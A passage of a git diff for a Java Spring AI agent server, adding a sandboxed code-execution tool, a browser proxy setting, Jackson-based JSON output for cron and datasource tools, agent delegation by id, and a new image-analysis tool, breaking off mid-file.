==================== - public record HealthResponse(String overall, List checks) {} + public record HealthResponse(String overall, List checks, String database) {} public record HealthCheck(String name, String status, String message, HealthAction action) {} diff --git a/mateclaw-server/src/main/java/vip/mate/tool/browser/BrowserLauncher.java b/mateclaw-server/src/main/java/vip/mate/tool/browser/BrowserLauncher.java index 99e08315..ec63b592 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/browser/BrowserLauncher.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/browser/BrowserLauncher.java @@ -365,6 +365,14 @@ public class BrowserLauncher { if (IS_WINDOWS) { args.add("--disable-gpu"); } + // Chromium does not honor the JVM proxy selector / system properties, so + // route it explicitly when a global proxy is active. Bypass loopback so + // the local CDP endpoint and local services stay reachable. + String proxyServer = vip.mate.system.proxy.ProxyManager.chromeProxyServer(); + if (proxyServer != null && !proxyServer.isBlank()) { + args.add("--proxy-server=" + proxyServer); + args.add("--proxy-bypass-list=<-loopback>"); + } return args; } diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/CodeExecuteTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/CodeExecuteTool.java new file mode 100644 index 00000000..7919d67e --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/CodeExecuteTool.java @@ -0,0 +1,222 @@ +package vip.mate.tool.builtin; + +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.annotation.JsonPropertyDescription; +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.ai.tool.annotation.Tool; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Lazy; +import org.springframework.lang.Nullable; +import org.springframework.stereotype.Component; +import vip.mate.agent.context.ChatOrigin; +import vip.mate.llm.routing.AgentBindingResolver; +import vip.mate.skill.runtime.SkillRuntimeService; +import vip.mate.skill.runtime.SkillScriptExecutionService; +import vip.mate.skill.runtime.model.ResolvedSkill; +import vip.mate.skill.secret.SkillSecretService; +import vip.mate.tool.guard.WorkspacePathGuard; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Set; + +/** + * Built-in tool: execute LLM-generated source code inline. + *

+ * Unlike {@code runSkillScript}, which runs a pre-existing file under a skill's + * {@code scripts/} directory, this tool accepts the code as text and runs it on + * the fly. It lets a documentation-only skill (a SKILL.md with no {@code scripts:} + * entries) be acted on: the agent reads the instructions, writes the code those + * instructions describe, and runs it here. + * + *

Safety: + *

    + *
  • Dangerous patterns in the code trigger ToolGuard approval/blocking — the + * tool name is registered as a shell-equivalent guarded tool.
  • + *
  • The subprocess does not inherit the server's secret env vars; only a + * bound skill's own declared secrets are injected.
  • + *
  • When {@code skillName} is given, the calling agent must be bound to that + * skill, and execution is scoped to the skill directory.
  • + *
  • Timeout defaults to 30s, hard-capped at 300s; output is truncated.
  • + *
+ */ +@Slf4j +@Component +@RequiredArgsConstructor +public class CodeExecuteTool { + + private final SkillRuntimeService runtimeService; + private final SkillScriptExecutionService executionService; + private final SkillSecretService skillSecretService; + private final ObjectMapper objectMapper; + + @Lazy + @Autowired + private AgentBindingResolver agentBindingResolver; + + @vip.mate.tool.ConcurrencyUnsafe("code execution can have arbitrary side effects on the host process and filesystem") + @Tool(name = "execute_code", description = """ + Execute a snippet of code you write, in python, bash, or node. + Use this to act on a skill whose SKILL.md describes steps but ships no runnable script: + read the instructions, write the code they describe, and run it here. + + Parameters: + - language: one of "python", "bash", "node" + - code: the full source code to run + - skillName: optional. When set, the code runs inside that skill's directory + (so it can read the skill's reference/template files by relative path) + and the skill's stored secrets are injected as environment variables. + - args: optional positional arguments, given as ONE JSON-encoded string: + a JSON array for multiple args, or plain text for a single argument. + - timeoutSeconds: optional, default 30, max 300. + + Returns: JSON with exitCode, stdout, stderr. + + Security: dangerous operations trigger security approval. The server's own + secret environment variables are not exposed to the code. + """) + public String execute_code( + @JsonProperty(required = true) + @JsonPropertyDescription("Language: python, bash, or node") + String language, + + @JsonProperty(required = true) + @JsonPropertyDescription("The full source code to run") + String code, + + @JsonProperty(required = false) + @JsonPropertyDescription("Optional skill name to scope execution to and inject secrets from") + String skillName, + + @JsonProperty(required = false) + @JsonPropertyDescription("Optional positional arguments as ONE JSON-encoded string: a JSON array for multiple args, or plain text for one literal argument.") + String args, + + @JsonProperty(required = false) + @JsonPropertyDescription("Timeout in seconds, default 30, max 300") + Integer timeoutSeconds, + + @Nullable ToolContext ctx + ) { + log.info("[CodeExecute] language={}, skill={}, codeChars={}", + language, skillName, code == null ? 0 : code.length()); + + Path workingDir; + Map envVars = Collections.emptyMap(); + + if (skillName != null && !skillName.isBlank()) { + // Skill-scoped run: validate binding + resolve the skill directory. + ResolvedSkill skill = runtimeService.findActiveSkill(skillName); + if (skill == null) { + return formatError("Skill '" + skillName + "' not found or not enabled"); + } + Long agentId = ChatOrigin.from(ctx).agentId(); + if (agentId != null) { + Set boundSkillIds = agentBindingResolver.getBoundSkillIds(agentId); + if (boundSkillIds != null && (skill.getId() == null || !boundSkillIds.contains(skill.getId()))) { + return formatError("Skill '" + skillName + "' is not available for this agent."); + } + } + // Directory-backed skills run inside their own directory so the code + // can read the skill's reference/template files by relative path. A + // database-backed skill (no directory) is still runnable: fall through + // with a null working dir so executeCode uses a private scratch dir. + // Either way the skill's stored secrets are injected. + workingDir = skill.getSkillDir(); + if (skill.getId() != null) { + envVars = skillSecretService.getDecrypted(skill.getId()); + } + } else { + // Workspace-scoped run: prefer the agent's workspace base path so any + // files the code produces land where the user expects. When the agent + // has no workspace dir, pass null — executeCode then runs in a private + // temp scratch dir (same tolerance as the shell tool). + workingDir = WorkspacePathGuard.getWorkingDirectory(ctx); + if (workingDir != null && !Files.isDirectory(workingDir)) { + workingDir = null; + } + } + + Long timeout = timeoutSeconds != null ? timeoutSeconds.longValue() : null; + List argList = normalizeArgs(args); + + try { + SkillScriptExecutionService.ScriptResult result = + executionService.executeCode(language, code, workingDir, argList, envVars, timeout); + return formatResult(result); + } catch (Exception e) { + log.error("[CodeExecute] Execution failed: {}", e.getMessage()); + return formatError("Execution failed: " + e.getMessage()); + } + } + + /** + * Decode the JSON-encoded {@code args} string into a positional argument list, + * mirroring {@code SkillScriptTool.normalizeArgs}: a JSON array becomes one + * argument per element, anything else is forwarded verbatim as a single + * argument (so a bare date / version string is never mangled by JSON parsing). + */ + List normalizeArgs(String args) { + if (args == null) { + return null; + } + String trimmed = args.trim(); + if (trimmed.isEmpty()) { + return null; + } + char lead = trimmed.charAt(0); + if (lead == '[') { + try { + JsonNode node = objectMapper.reader() + .with(DeserializationFeature.FAIL_ON_TRAILING_TOKENS) + .readTree(trimmed); + if (node != null && node.isArray()) { + List out = new ArrayList<>(node.size()); + for (JsonNode el : node) { + out.add(el.isTextual() ? el.asText() : el.toString()); + } + return out.isEmpty() ? null : out; + } + } catch (Exception e) { + log.debug("execute_code: args not valid JSON array, forwarding verbatim: {}", e.getMessage()); + } + } + return List.of(trimmed); + } + + private String formatResult(SkillScriptExecutionService.ScriptResult result) { + return String.format( + "{\n \"exitCode\": %d,\n \"stdout\": %s,\n \"stderr\": %s\n}", + result.getExitCode(), + jsonEscape(result.getStdout()), + jsonEscape(result.getStderr()) + ); + } + + private String formatError(String message) { + return String.format( + "{\n \"exitCode\": -1,\n \"stdout\": \"\",\n \"stderr\": %s\n}", + jsonEscape(message) + ); + } + + private String jsonEscape(String str) { + if (str == null || str.isEmpty()) { + return "\"\""; + } + return "\"" + str.replace("\\", "\\\\") + .replace("\"", "\\\"") + .replace("\n", "\\n") + .replace("\r", "\\r") + .replace("\t", "\\t") + "\""; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/CronJobTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/CronJobTool.java index cf3ca8f7..d497b990 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/CronJobTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/CronJobTool.java @@ -1,8 +1,6 @@ package vip.mate.tool.builtin; -import cn.hutool.json.JSONArray; -import cn.hutool.json.JSONObject; -import cn.hutool.json.JSONUtil; +import com.fasterxml.jackson.databind.ObjectMapper; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.chat.model.ToolContext; @@ -14,7 +12,10 @@ import vip.mate.agent.context.ChatOrigin; import vip.mate.cron.model.CronJobDTO; import vip.mate.cron.service.CronJobService; +import java.util.ArrayList; +import java.util.LinkedHashMap; import java.util.List; +import java.util.Map; /** * Built-in tool: scheduled task (cron job) management via chat. @@ -32,6 +33,14 @@ import java.util.List; public class CronJobTool { private final CronJobService cronJobService; + /** + * The application ObjectMapper serializes every {@code Long} as a JSON string + * (see {@code JacksonConfig}). Tool output goes through it so a 19-digit + * Snowflake {@code jobId} reaches the model as a string — never a JSON number + * that loses its low digits in a double / JS Number round-trip on the way + * back into toggle_cron_job / delete_cron_job. + */ + private final ObjectMapper objectMapper; @vip.mate.tool.ConcurrencyUnsafe("cron job creation persists to mate_cron_job; concurrent creates can race on name") @Tool(description = "Create a scheduled task that asks the agent to do something at a specific time — " @@ -94,15 +103,15 @@ public class CronJobTool { Long workspaceId = origin.workspaceId() != null ? origin.workspaceId() : 1L; CronJobDTO created = cronJobService.create(dto, workspaceId); - JSONObject result = new JSONObject(); - result.set("success", true); - result.set("jobId", created.getId()); - result.set("name", created.getName()); - result.set("cronExpression", created.getCronExpression()); - result.set("timezone", created.getTimezone()); - result.set("nextRunTime", created.getNextRunTime() != null ? created.getNextRunTime().toString() : ""); - result.set("enabled", created.getEnabled()); - return JSONUtil.toJsonPrettyStr(result); + Map result = new LinkedHashMap<>(); + result.put("success", true); + result.put("jobId", created.getId()); + result.put("name", created.getName()); + result.put("cronExpression", created.getCronExpression()); + result.put("timezone", created.getTimezone()); + result.put("nextRunTime", created.getNextRunTime() != null ? created.getNextRunTime().toString() : ""); + result.put("enabled", created.getEnabled()); + return writeJson(result); } catch (Exception e) { log.error("[CronJobTool] create failed: {}", e.getMessage()); @@ -154,16 +163,16 @@ public class CronJobTool { Long workspaceId = origin.workspaceId() != null ? origin.workspaceId() : 1L; CronJobDTO created = cronJobService.create(dto, workspaceId); - JSONObject result = new JSONObject(); - result.set("success", true); - result.set("jobId", created.getId()); - result.set("name", created.getName()); - result.set("taskType", "reminder"); - result.set("cronExpression", created.getCronExpression()); - result.set("timezone", created.getTimezone()); - result.set("nextRunTime", created.getNextRunTime() != null ? created.getNextRunTime().toString() : ""); - result.set("enabled", created.getEnabled()); - return JSONUtil.toJsonPrettyStr(result); + Map result = new LinkedHashMap<>(); + result.put("success", true); + result.put("jobId", created.getId()); + result.put("name", created.getName()); + result.put("taskType", "reminder"); + result.put("cronExpression", created.getCronExpression()); + result.put("timezone", created.getTimezone()); + result.put("nextRunTime", created.getNextRunTime() != null ? created.getNextRunTime().toString() : ""); + result.put("enabled", created.getEnabled()); + return writeJson(result); } catch (Exception e) { log.error("[CronJobTool] create_reminder failed: {}", e.getMessage()); @@ -179,23 +188,23 @@ public class CronJobTool { // sees the cron jobs of the workspace it's running in. Long workspaceId = workspaceFromContext(ctx); List jobs = cronJobService.list(workspaceId); - JSONArray arr = new JSONArray(); + List> arr = new ArrayList<>(); for (CronJobDTO job : jobs) { - JSONObject obj = new JSONObject(); - obj.set("jobId", job.getId()); - obj.set("name", job.getName()); - obj.set("cronExpression", job.getCronExpression()); - obj.set("timezone", job.getTimezone()); - obj.set("enabled", job.getEnabled()); - obj.set("nextRunTime", job.getNextRunTime() != null ? job.getNextRunTime().toString() : ""); - obj.set("lastRunTime", job.getLastRunTime() != null ? job.getLastRunTime().toString() : ""); - obj.set("agentName", job.getAgentName()); + Map obj = new LinkedHashMap<>(); + obj.put("jobId", job.getId()); + obj.put("name", job.getName()); + obj.put("cronExpression", job.getCronExpression()); + obj.put("timezone", job.getTimezone()); + obj.put("enabled", job.getEnabled()); + obj.put("nextRunTime", job.getNextRunTime() != null ? job.getNextRunTime().toString() : ""); + obj.put("lastRunTime", job.getLastRunTime() != null ? job.getLastRunTime().toString() : ""); + obj.put("agentName", job.getAgentName()); arr.add(obj); } - JSONObject result = new JSONObject(); - result.set("totalJobs", jobs.size()); - result.set("jobs", arr); - return JSONUtil.toJsonPrettyStr(result); + Map result = new LinkedHashMap<>(); + result.put("totalJobs", jobs.size()); + result.put("jobs", arr); + return writeJson(result); } catch (Exception e) { log.error("[CronJobTool] list failed: {}", e.getMessage()); return errorResult("Failed to list cron jobs: " + e.getMessage()); @@ -214,13 +223,13 @@ public class CronJobTool { Long workspaceId = workspaceFromContext(ctx); cronJobService.toggle(jobId, enabled, workspaceId); CronJobDTO updated = cronJobService.getById(jobId, workspaceId); - JSONObject result = new JSONObject(); - result.set("success", true); - result.set("jobId", jobId); - result.set("name", updated.getName()); - result.set("enabled", updated.getEnabled()); - result.set("nextRunTime", updated.getNextRunTime() != null ? updated.getNextRunTime().toString() : ""); - return JSONUtil.toJsonPrettyStr(result); + Map result = new LinkedHashMap<>(); + result.put("success", true); + result.put("jobId", jobId); + result.put("name", updated.getName()); + result.put("enabled", updated.getEnabled()); + result.put("nextRunTime", updated.getNextRunTime() != null ? updated.getNextRunTime().toString() : ""); + return writeJson(result); } catch (Exception e) { log.error("[CronJobTool] toggle failed: {}", e.getMessage()); return errorResult("Failed to toggle cron job: " + e.getMessage()); @@ -239,10 +248,10 @@ public class CronJobTool { CronJobDTO job = cronJobService.getById(jobId, workspaceId); String jobName = job.getName(); cronJobService.delete(jobId, workspaceId); - JSONObject result = new JSONObject(); - result.set("success", true); - result.set("deleted", jobName); - return JSONUtil.toJsonPrettyStr(result); + Map result = new LinkedHashMap<>(); + result.put("success", true); + result.put("deleted", jobName); + return writeJson(result); } catch (Exception e) { log.error("[CronJobTool] delete failed: {}", e.getMessage()); return errorResult("Failed to delete cron job: " + e.getMessage()); @@ -250,10 +259,25 @@ public class CronJobTool { } private String errorResult(String message) { - JSONObject result = new JSONObject(); - result.set("success", false); - result.set("error", message); - return JSONUtil.toJsonPrettyStr(result); + Map result = new LinkedHashMap<>(); + result.put("success", false); + result.put("error", message); + return writeJson(result); + } + + /** + * Serialize tool output through the id-safe application ObjectMapper so every + * {@code Long} (notably {@code jobId}) is rendered as a string. Falls back to + * a minimal literal on the rare serialization failure rather than throwing + * out of a tool call. + */ + private String writeJson(Object value) { + try { + return objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(value); + } catch (Exception e) { + log.error("[CronJobTool] result serialization failed: {}", e.getMessage()); + return "{\"success\":false,\"error\":\"result serialization failed\"}"; + } } /** diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/DatasourceTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/DatasourceTool.java index 069510a6..9c464a7b 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/DatasourceTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/DatasourceTool.java @@ -1,8 +1,8 @@ package vip.mate.tool.builtin; -import cn.hutool.json.JSONArray; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; +import com.fasterxml.jackson.databind.ObjectMapper; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.tool.annotation.Tool; @@ -14,7 +14,9 @@ import vip.mate.datasource.service.DatasourceService; import java.sql.*; import java.util.ArrayList; +import java.util.LinkedHashMap; import java.util.List; +import java.util.Map; import java.util.regex.Pattern; /** @@ -32,6 +34,14 @@ public class DatasourceTool { private final DatasourceService datasourceService; private final DatasourceConnectionManager connectionManager; + /** + * The application ObjectMapper, which serializes every {@code Long} as a JSON + * string (see {@code JacksonConfig}). Tool output goes through it so 19-digit + * Snowflake ids reach the model as strings — exactly like the HTTP API — and + * never as JSON numbers that lose their low digits in a double/JS-number + * round-trip on the way back into a tool call. + */ + private final ObjectMapper objectMapper; /** SQL identifier whitelist: letters, digits, underscore, dot, hyphen only */ private static final Pattern SAFE_IDENTIFIER = Pattern.compile("^[a-zA-Z0-9_][a-zA-Z0-9_.\\-]{0,127}$"); @@ -67,22 +77,25 @@ public class DatasourceTool { } } - private String listDatasources() { + private String listDatasources() throws Exception { List list = datasourceService.listEnabled(); - JSONArray arr = new JSONArray(); + List> rows = new ArrayList<>(); for (DatasourceEntity ds : list) { - JSONObject obj = new JSONObject(); - obj.set("id", ds.getId()); - obj.set("name", ds.getName()); - obj.set("dbType", ds.getDbType()); - obj.set("databaseName", ds.getDatabaseName()); - obj.set("description", ds.getDescription()); - arr.add(obj); + Map obj = new LinkedHashMap<>(); + // ds.getId() is a Long; the shared ObjectMapper renders it as a JSON + // string so the model copies an exact id back into list_tables / + // execute_sql / describe_table calls. + obj.put("id", ds.getId()); + obj.put("name", ds.getName()); + obj.put("dbType", ds.getDbType()); + obj.put("databaseName", ds.getDatabaseName()); + obj.put("description", ds.getDescription()); + rows.add(obj); } - JSONObject result = new JSONObject(); - result.set("datasources", arr); - result.set("count", arr.size()); - return result.toStringPretty(); + Map result = new LinkedHashMap<>(); + result.put("datasources", rows); + result.put("count", rows.size()); + return objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(result); } private String listTables(Long datasourceId) throws SQLException { diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/DelegateAgentTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/DelegateAgentTool.java index 06921bf1..b12a0ec8 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/DelegateAgentTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/DelegateAgentTool.java @@ -324,6 +324,48 @@ public class DelegateAgentTool { return result.toToolResponse(target.getName()); } + /** + * Delegate a task to an agent by id — used by per-step plan delegation so a + * plan step can run on a dedicated specialist agent. Resolves the target by + * id, then reuses {@link #delegateToAgent}'s isolated-child execution + * (sub-agent registry, event relay, depth guard). The parent {@link ChatOrigin} + * is forwarded so the child inherits channel / workspace binding. Returns the + * child's reply text, or an error string when the agent is missing/disabled. + */ + public String delegateByAgentId(Long agentId, String task, ChatOrigin parentOrigin) { + if (agentId == null) { + return "[错误] 未指定委派 Agent。"; + } + AgentEntity target = agentMapper.selectById(agentId); + if (target == null || !Boolean.TRUE.equals(target.getEnabled())) { + return "[错误] 未找到 id=" + agentId + " 的已启用 Agent。"; + } + ChatOrigin origin = parentOrigin != null ? parentOrigin : ChatOrigin.EMPTY; + ToolContext ctx = origin.toToolContext(); + // A graph-node-initiated delegation (e.g. a plan step) runs outside any + // tool-execution / delegation context, so resolveParentConversationId() + // would return null and the child conversation would be created with a + // null parent — leaking it into the user's top-level conversation list + // (the list filters on parentConversationId IS NULL). Seed a depth-0 + // delegation frame carrying the parent conversation id from the + // ChatOrigin so the child is correctly parented and hidden, mirroring how + // a tool-initiated delegation gets its conv id from ToolExecutionContext. + String parentConvId = origin.conversationId(); + boolean seedContext = parentConvId != null && !parentConvId.isBlank() + && ToolExecutionContext.conversationId() == null + && DelegationContext.parentConversationId() == null; + if (seedContext) { + DelegationContext.enter(parentConvId, Set.of(), parentConvId, null, 0); + } + try { + return delegateToAgent(target.getName(), task, false, ctx); + } finally { + if (seedContext) { + DelegationContext.exit(); + } + } + } + // ==================== Parallel delegation ==================== @vip.mate.tool.ConcurrencyUnsafe("internally fans out to its own thread pool; outer executor must not double-parallelize") diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/DocumentExtractTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/DocumentExtractTool.java index 4763ab9b..aa37e770 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/DocumentExtractTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/DocumentExtractTool.java @@ -8,10 +8,12 @@ import org.springframework.ai.tool.annotation.Tool; import org.springframework.ai.tool.annotation.ToolParam; import org.springframework.lang.Nullable; import org.springframework.stereotype.Component; +import vip.mate.tool.guard.WorkspacePathGuard; import java.io.*; import java.nio.file.Files; import java.nio.file.Path; +import java.nio.file.Paths; import java.util.ArrayList; import java.util.List; import java.util.concurrent.TimeUnit; @@ -75,24 +77,54 @@ public class DocumentExtractTool { // ChatOrigin so the workspace boundary check honors per-agent basePath. @Nullable ToolContext ctx) { + Path path; + try { + path = WorkspacePathGuard.validatePath(filePath, ctx); + } catch (IllegalArgumentException e) { + // Sandbox rejected the literal path. Try chat-upload basename + // resolution before surfacing the boundary error. + Path attachment = ChatUploadResolver.resolve(filePath); + if (attachment == null) { + return errorResult(filePath, e.getMessage(), new ArrayList<>()); + } + path = attachment; + } + return extractResolved(filePath, path, options); + } + + /** + * Internal, sandbox-exempt extraction for server-managed file paths. + *

+ * The wiki ingest pipeline stages an uploaded raw material under its own + * upload directory and feeds that stored path straight back here. The path + * is produced by the server, never by the model, so the workspace boundary + * guard — whose job is to stop the LLM reading arbitrary disk locations — + * must not apply: the wiki upload dir is a sibling of the global sandbox root + * and would otherwise be rejected as "outside workspace boundary", surfacing + * to the user as "No text content available". Callers must pass a path the + * server itself produced, not anything derived from model output. + * + * @param filePath absolute, server-controlled path to the staged document + * @param options same options JSON accepted by {@link #extract_document_text} + */ + public String extractTrustedDocument(String filePath, String options) { + Path path = Paths.get(filePath).toAbsolutePath().normalize(); + return extractResolved(filePath, path, options); + } + + /** + * Shared extraction body running on an already-resolved {@link Path}: detects + * the document type and drives the per-format extractor chain. Both the + * sandbox-guarded {@link #extract_document_text} tool entry and the trusted + * {@link #extractTrustedDocument} internal entry funnel through here so the + * extraction logic stays in one place. + */ + private String extractResolved(String filePath, Path path, String options) { JSONObject result = new JSONObject(); result.set("filePath", filePath); List attempts = new ArrayList<>(); try { - Path path; - try { - path = vip.mate.tool.guard.WorkspacePathGuard.validatePath(filePath, ctx); - } catch (IllegalArgumentException e) { - // Sandbox rejected the literal path. Try chat-upload basename - // resolution before surfacing the boundary error. - Path attachment = ChatUploadResolver.resolve(filePath); - if (attachment == null) { - return errorResult(filePath, e.getMessage(), attempts); - } - path = attachment; - } - if (!Files.exists(path)) { // The user-uploaded chat attachment is rendered to the LLM as // "[附件] foo.docx" without its stored path, and Chinese / non-ASCII diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/DocxRenderTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/DocxRenderTool.java index ce3f8f90..36c4aa72 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/DocxRenderTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/DocxRenderTool.java @@ -4,6 +4,8 @@ import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.tool.annotation.Tool; import org.springframework.ai.tool.annotation.ToolParam; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.lang.Nullable; import org.springframework.stereotype.Component; import vip.mate.tool.document.FilenameSanitizer; import vip.mate.tool.document.GeneratedFileCache; @@ -70,7 +72,8 @@ public class DocxRenderTool { @ToolParam(description = "Output filename without extension, e.g. 'monthly-report'") String filename, @ToolParam(description = "Page size: A4 or LETTER (default: A4)", required = false) - String pageSize) { + String pageSize, + @Nullable ToolContext ctx) { if (markdown == null || markdown.isBlank()) { return "错误:markdown 参数为空,无法生成文档。"; @@ -84,7 +87,7 @@ public class DocxRenderTool { byte[] bytes = renderer.render(markdown, size); log.info("[DocxRender] generated {} ({} bytes, {}ms)", displayName, bytes.length, System.currentTimeMillis() - t0); - return GeneratedFileLink.resultZh(bytes, displayName, DOCX_MIME, cache, "文档"); + return GeneratedFileLink.resultZh(bytes, displayName, DOCX_MIME, cache, "文档", ctx); } catch (Exception e) { log.error("[DocxRender] render failed for {}: {}", displayName, e.getMessage(), e); return "渲染失败:" + e.getMessage(); @@ -132,7 +135,8 @@ public class DocxRenderTool { @ToolParam(description = "Output filename without extension, e.g. 'monthly-report'") String filename, @ToolParam(description = "Page size: A4 or LETTER (default: A4)", required = false) - String pageSize) { + String pageSize, + @Nullable ToolContext ctx) { Resolved input; try { @@ -149,7 +153,7 @@ public class DocxRenderTool { byte[] bytes = renderer.render(input.markdown(), size); log.info("[DocxRender] generated {} ({} bytes from {} bytes md, {}ms)", displayName, bytes.length, input.totalBytes(), System.currentTimeMillis() - t0); - return GeneratedFileLink.resultEn(bytes, displayName, DOCX_MIME, cache, "Document", 1); + return GeneratedFileLink.resultEn(bytes, displayName, DOCX_MIME, cache, "Document", 1, ctx); } catch (Exception e) { log.error("[DocxRender] render failed for {} (source: {}): {}", displayName, input.sources().get(0), e.getMessage(), e); @@ -191,7 +195,8 @@ public class DocxRenderTool { @ToolParam(description = "Output filename without extension, e.g. 'quarterly-report'") String filename, @ToolParam(description = "Page size: A4 or LETTER (default: A4)", required = false) - String pageSize) { + String pageSize, + @Nullable ToolContext ctx) { Resolved input; try { @@ -210,7 +215,7 @@ public class DocxRenderTool { displayName, bytes.length, input.fileCount(), input.totalBytes(), System.currentTimeMillis() - t0); return GeneratedFileLink.resultEn(bytes, displayName, DOCX_MIME, cache, - "Document", input.fileCount()); + "Document", input.fileCount(), ctx); } catch (Exception e) { log.error("[DocxRender] render failed for {} (sources: {}): {}", displayName, input.sources(), e.getMessage(), e); diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/HtmlImageRenderTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/HtmlImageRenderTool.java index 2051f2e0..55e17fbd 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/HtmlImageRenderTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/HtmlImageRenderTool.java @@ -10,6 +10,8 @@ import com.microsoft.playwright.options.WaitUntilState; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.tool.annotation.Tool; import org.springframework.ai.tool.annotation.ToolParam; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.lang.Nullable; import org.springframework.stereotype.Component; import vip.mate.tool.browser.BrowserLauncher; import vip.mate.tool.document.FilenameSanitizer; @@ -87,7 +89,8 @@ public class HtmlImageRenderTool { @ToolParam(description = "Viewport height in px (default 900, max 4096). Ignored when fullPage=true except as initial layout hint.", required = false) Integer height, @ToolParam(description = "Capture full scrollable page (default true). Set false to only capture the viewport.", required = false) - Boolean fullPage) { + Boolean fullPage, + @Nullable ToolContext ctx) { String source; try { @@ -117,7 +120,7 @@ public class HtmlImageRenderTool { log.info("[HtmlImageRender] rendered {} ({} bytes, viewport={}x{}, fullPage={})", displayName, pngBytes.length, vw, vh, full); - return GeneratedFileLink.resultZh(pngBytes, displayName, PNG_MIME, cache, "图片"); + return GeneratedFileLink.resultZh(pngBytes, displayName, PNG_MIME, cache, "图片", ctx); } private String resolveHtml(String filePath, String inlineHtml) throws Exception { diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/ImageAnalyzeTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/ImageAnalyzeTool.java new file mode 100644 index 00000000..bedf8f02 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/ImageAnalyzeTool.java @@ -0,0 +1,150 @@ +package vip.mate.tool.builtin; + +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.ai.tool.annotation.Tool; +import org.springframework.ai.tool.annotation.ToolParam; +import org.springframework.lang.Nullable; +import org.springframework.stereotype.Component; +import vip.mate.llm.model.ModelConfigEntity; +import vip.mate.llm.routing.MediaCaptionService; +import vip.mate.llm.routing.MultimodalRouter; +import vip.mate.workspace.conversation.ConversationService; +import vip.mate.workspace.conversation.model.MessageContentPart; +import vip.mate.workspace.conversation.model.MessageEntity; + +import java.util.List; + +/** + * On-demand image analysis tool. + * + *

When the agent's primary model is text-only, images uploaded earlier in the + * conversation are only captioned generically once (by the automatic vision + * sidecar) and that caption is frozen into history. This tool lets the agent + * re-examine a previously uploaded image against the user's actual follow-up + * question — passing the question to the configured vision model so the answer is + * tailored rather than a stale generic description. + * + *

It resolves the target image from the current conversation: an explicit + * filename/path reference, or the most recent image when none is given. It reuses + * the same vision model the automatic sidecar uses, so behaviour stays consistent + * across the automatic and on-demand paths. + * + * @author MateClaw Team + */ +@Slf4j +@Component +@RequiredArgsConstructor +public class ImageAnalyzeTool { + + private final ConversationService conversationService; + private final MultimodalRouter multimodalRouter; + private final MediaCaptionService mediaCaptionService; + + @Tool(description = "Analyze an image the user uploaded earlier in this conversation, answering a specific " + + "question about it. Use this whenever the user asks a follow-up about a previously sent image " + + "(e.g. 'what does the error in that screenshot say', 'read the total on the receipt') and the " + + "current model cannot see images natively. By default it analyzes the most recent image; pass " + + "'image' to target a specific one by filename. Returns the vision model's answer as text.") + public String image_analyze( + @ToolParam(description = "The specific question to answer about the image, in the user's own words. " + + "Be concrete — e.g. 'What is the error message?' rather than 'describe it'.") String question, + @ToolParam(description = "Optional filename or path of the target image. Omit to use the most recent " + + "image in the conversation.", required = false) String image, + @Nullable ToolContext ctx + ) { + if (question == null || question.isBlank()) { + return "请提供要针对图片回答的具体问题。"; + } + + String conversationId = ToolExecutionContext.conversationId(ctx); + if (conversationId == null || conversationId.isBlank()) { + return "无法确定当前会话,无法定位已上传的图片。"; + } + + MessageContentPart target = findImagePart(conversationId, image); + if (target == null) { + return image == null || image.isBlank() + ? "本次会话中没有找到可分析的图片,请确认用户已上传图片。" + : "未找到名为「" + image + "」的图片,请检查文件名,或省略该参数以分析最近的图片。"; + } + + ModelConfigEntity visionModel = 